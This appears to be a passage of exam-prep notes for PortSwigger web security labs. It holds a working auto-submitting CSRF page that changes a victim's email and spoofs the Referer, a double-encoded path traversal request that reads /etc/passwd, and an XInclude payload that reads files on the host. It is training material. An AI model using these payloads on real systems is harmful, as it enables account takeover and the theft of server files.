Create a CSRF proof of concept exploit and host it on the exploit server. Edit the JavaScript so that the third argument of the history.pushState() function includes a query string with target URL.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional --> 
  <body>
  <script>history.pushState("", "", "/?TARGET.web-security-academy.net")</script>
    <form action="https://TARGET.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

When above exploit payload body CSRF delivered to victim, it changes victim email to test@test.com.

PortSwigger Lab: CSRF with broken Referer validation

File Path Traversal

The imagefile parameter is vulnerable to directory traversal path attacks, enabling read access to arbitrary files on the server.

../../../../../../../../../../

GET /admin_controls/metrics/admin-image?imagefile=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

Burp Intruder provides a predefined payload list (Fuzzing - path traversal).

PortSwigger Lab: File path traversal, traversal sequences stripped with superfluous URL-decode

Focus Scanning

Due to the tight time limit during engagements, scan defined insertion points for specific requests.

Scanner detected xmlns on stockId parameter and can lead to reading file on host parse text.

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo>

PortSwigger Lab: Discovering vulnerabilities quickly with targeted scanning

YouTube Training Playlist

YouTube Study Playlist
Youtube channels:

Footnote

The exam is designed to be challenging, it is not straight forward vulnerabilities, twisted challenges and even rabbit holes. Perseverance: persistence in doing something despite difficulty or delay in achieving success. #TryHarder